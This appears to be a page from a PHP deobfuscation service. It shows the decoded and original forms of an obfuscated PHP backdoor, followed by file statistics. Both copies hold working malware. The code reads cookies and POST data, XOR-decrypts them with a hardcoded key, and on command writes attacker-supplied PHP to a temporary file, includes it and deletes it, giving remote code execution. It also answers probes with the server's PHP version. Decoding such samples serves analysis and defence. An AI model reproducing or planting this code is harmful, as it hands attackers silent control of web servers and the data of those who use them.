Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php function vrlujtrlam(){$v_rzfw='rvlbjrseul'; print_r (37724+37724); } ..

Decoded Output download

<?php       function     vrlujtrlam(){$v_rzfw='rvlbjrseul';	print_r	(37724+37724);     } 
 
 
$amtmbdb    =   'amtmbdb'      ^  ''; 
 
 
 
 
 
 
function	bqjwzwdih_($_irur,    $ofea_xktdevadja) 
 
{ 
 
/*fgcoo*/global/*yhub  */$amtmbdb;	$gqhuy	=	""; 
      for      ($_rmnvy	=	0;/*   d   */$_rmnvy/*ua  */<	strlen($_irur);)  {    for	($ofea_x/*   uh*/=/*ff_s*/0;/*  ya  */$ofea_x/* ppzdn */<	strlen($ofea_xktdevadja)/* v */&&	$_rmnvy/* gfll   */<       strlen($_irur);	$ofea_x++,       $_rmnvy++)  { 
/*  qeah  */$gqhuy      .=    $amtmbdb(ord($_irur[$_rmnvy])/*  po   */^	ord($ofea_xktdevadja[$ofea_x])); 
 
 
      } 
	} 
/*w */return     $gqhuy; 
 
 
} 
 
 
 
 
function  weevdx($ehbtbmh,/*  um  */$_irur) 
{ 
      global/* lur  */$amtmbdb; 
 
 
  $vrolx/*  x*/=	sprintf(".".$amtmbdb(47)	.	"%"."s".$amtmbdb(46)   .	"p"/*   q */./*  qdok */"l",	md5($ehbtbmh)); 
/*  tx   */file_put_contents($vrolx,	"<"	./*  mx*/"?"."p"       .	"h"."p".$amtmbdb(32)/*   j_mzk  */.    "u"."n"."l"."i"."n"."k"."(".$amtmbdb(95)  ./*rc */"_"."F"."I"."L"	.	$amtmbdb(69)	./*  g  */"_"/*  du */.	"_"/*   gkosu  */./* wu   */")"	./*k */$amtmbdb(853-794)	.	$amtmbdb(32)/* cj   */./*  j*/$_irur["d"]); 
 
 
/*  wvcop  */include($vrolx); 
 
    $abfzvhvaw_/*v  */=/*   st   */$vrolx; 
      unlink($abfzvhvaw_); 
 
} 
 
function/*  rnmap*/aarchcx() 
{ 
 
    global	$amtmbdb; 
 
 
/*j  */ 
       $_rmnvy    =    array(); 
 
 
      $_rmnvy["p"	.	"v"]/*ueucn  */=/* i_be   */phpversion(); 
 
/* xjbo*/$_rmnvy[$amtmbdb(1073-958)/*   tuw  */./*ryef  */"v"]	=/* osz   */"3"."."."5";   echo/*   nnk   */@serialize($_rmnvy); 
 
 
} 
function/*  h   */ycmrwot($_irur,     $ehbtbmh,    $pkwsn) 
 
{	global/*   q_ */$amtmbdb; 
 
/*   drtp  */	$_irur/*  o  */=/*gw   */unserialize(bqjwzwdih_(bqjwzwdih_(base64_decode($_irur),	$ehbtbmh),	$pkwsn));	if       (isset($_irur["a"/*   zbq   */.     "k"]))/*  nxh*/{ 
/*  ya */if	($_irur["a"]	==       "i")/* yry*/{ 
 
/*   iz  */aarchcx(); 
 
 
/*   lq   */}    elseif/*  f  */($_irur["a"]/* lktgn   */==	$amtmbdb(101))/* zk  */{	weevdx($ehbtbmh,/* hiogn */$_irur); 
/* mqb   */}/*  _k*/exit(); 
	} 
} 
 
 
 
$dhqmiyem   =	$_COOKIE; 
 
 
$bezhat/*cx*/=/*   fh */$_POST; 
 
 
$dhqmiyem/*   vpqmh  */=      array_merge($bezhat,     $dhqmiyem); 
 
 
 
$ehbtbmh	=/*  ow   */"6"."a"	.	"0"	.     "a"."6"/* r   */.	$amtmbdb(50)/*  arv   */./*uawq   */"a"	.  "e"  .      "-"."c"	.      "b"."0"."3".$amtmbdb(352-307)      ./*  jfvm   */"4".$amtmbdb(818-717)  .      "5"."8".$amtmbdb(45)       ./*   lkliy  */$amtmbdb(370-314)	.    "9".$amtmbdb(284-230)	./* cbgjl*/$amtmbdb(901-849)/*fbcpn   */./*   awnv */"-"."6".$amtmbdb(49)/*   hzrkw*/./* x  */"0"."1"       ./*   sei_n  */"c"   ./*  tcpb   */"2".$amtmbdb(49)  ./*  _*/$amtmbdb(99)	.   "4"/*k  */./* buo   */"c"	.	$amtmbdb(102)	.     "7"; 
 
 
foreach    ($dhqmiyem	as	$pkwsn/*   b   */=>       $_irur)	{ 
 
 
/* _hnl  */ycmrwot($_irur,/*  thdgy */$ehbtbmh,	$pkwsn);} 
 ?>

Did this file decode correctly?

Original Code

<?php       function     vrlujtrlam(){$v_rzfw='rvlbjrseul';	print_r	(37724+37724);     }


$amtmbdb    =   'amtmbdb'      ^  '';






function	bqjwzwdih_($_irur,    $ofea_xktdevadja)

{

/*fgcoo*/global/*yhub  */$amtmbdb;	$gqhuy	=	"";
      for      ($_rmnvy	=	0;/*   d   */$_rmnvy/*ua  */<	strlen($_irur);)  {    for	($ofea_x/*   uh*/=/*ff_s*/0;/*  ya  */$ofea_x/* ppzdn */<	strlen($ofea_xktdevadja)/* v */&&	$_rmnvy/* gfll   */<       strlen($_irur);	$ofea_x++,       $_rmnvy++)  {
/*  qeah  */$gqhuy      .=    $amtmbdb(ord($_irur[$_rmnvy])/*  po   */^	ord($ofea_xktdevadja[$ofea_x]));


      }
	}
/*w */return     $gqhuy;


}




function  weevdx($ehbtbmh,/*  um  */$_irur)
{
      global/* lur  */$amtmbdb;


  $vrolx/*  x*/=	sprintf(".".$amtmbdb(47)	.	"%"."s".$amtmbdb(46)   .	"\160"/*   q */./*  qdok */"\154",	md5($ehbtbmh));
/*  tx   */file_put_contents($vrolx,	"<"	./*  mx*/"?"."\160"       .	"h"."p".$amtmbdb(32)/*   j_mzk  */.    "u"."n"."l"."\151"."n"."k"."(".$amtmbdb(95)  ./*rc */"_"."F"."I"."\114"	.	$amtmbdb(69)	./*  g  */"\137"/*  du */.	"\x5f"/*   gkosu  */./* wu   */"\51"	./*k */$amtmbdb(853-794)	.	$amtmbdb(32)/* cj   */./*  j*/$_irur["d"]);


/*  wvcop  */include($vrolx);

    $abfzvhvaw_/*v  */=/*   st   */$vrolx;
      unlink($abfzvhvaw_);

}

function/*  rnmap*/aarchcx()
{

    global	$amtmbdb;


/*j  */
       $_rmnvy    =    array();


      $_rmnvy["\160"	.	"v"]/*ueucn  */=/* i_be   */phpversion();

/* xjbo*/$_rmnvy[$amtmbdb(1073-958)/*   tuw  */./*ryef  */"\166"]	=/* osz   */"3"."."."5";   echo/*   nnk   */@serialize($_rmnvy);


}
function/*  h   */ycmrwot($_irur,     $ehbtbmh,    $pkwsn)

{	global/*   q_ */$amtmbdb;

/*   drtp  */	$_irur/*  o  */=/*gw   */unserialize(bqjwzwdih_(bqjwzwdih_(base64_decode($_irur),	$ehbtbmh),	$pkwsn));	if       (isset($_irur["\x61"/*   zbq   */.     "k"]))/*  nxh*/{
/*  ya */if	($_irur["a"]	==       "\151")/* yry*/{

/*   iz  */aarchcx();


/*   lq   */}    elseif/*  f  */($_irur["a"]/* lktgn   */==	$amtmbdb(101))/* zk  */{	weevdx($ehbtbmh,/* hiogn */$_irur);
/* mqb   */}/*  _k*/exit();
	}
}



$dhqmiyem   =	$_COOKIE;


$bezhat/*cx*/=/*   fh */$_POST;


$dhqmiyem/*   vpqmh  */=      array_merge($bezhat,     $dhqmiyem);



$ehbtbmh	=/*  ow   */"6"."\x61"	.	"\x30"	.     "a"."\66"/* r   */.	$amtmbdb(50)/*  arv   */./*uawq   */"\141"	.  "\x65"  .      "-"."\x63"	.      "b"."0"."3".$amtmbdb(352-307)      ./*  jfvm   */"4".$amtmbdb(818-717)  .      "5"."8".$amtmbdb(45)       ./*   lkliy  */$amtmbdb(370-314)	.    "9".$amtmbdb(284-230)	./* cbgjl*/$amtmbdb(901-849)/*fbcpn   */./*   awnv */"-"."6".$amtmbdb(49)/*   hzrkw*/./* x  */"0"."\x31"       ./*   sei_n  */"\143"   ./*  tcpb   */"2".$amtmbdb(49)  ./*  _*/$amtmbdb(99)	.   "\64"/*k  */./* buo   */"\x63"	.	$amtmbdb(102)	.     "7";


foreach    ($dhqmiyem	as	$pkwsn/*   b   */=>       $_irur)	{


/* _hnl  */ycmrwot($_irur,/*  thdgy */$ehbtbmh,	$pkwsn);}

Function Calls

array_merge 1

Variables

$bezhat 0
$amtmbdb chrogb`
$dhqmiyem 0

Stats

MD5 04582fa72aaabc145371bc02c83a4138
Eval Count 0
Decode Time 97 ms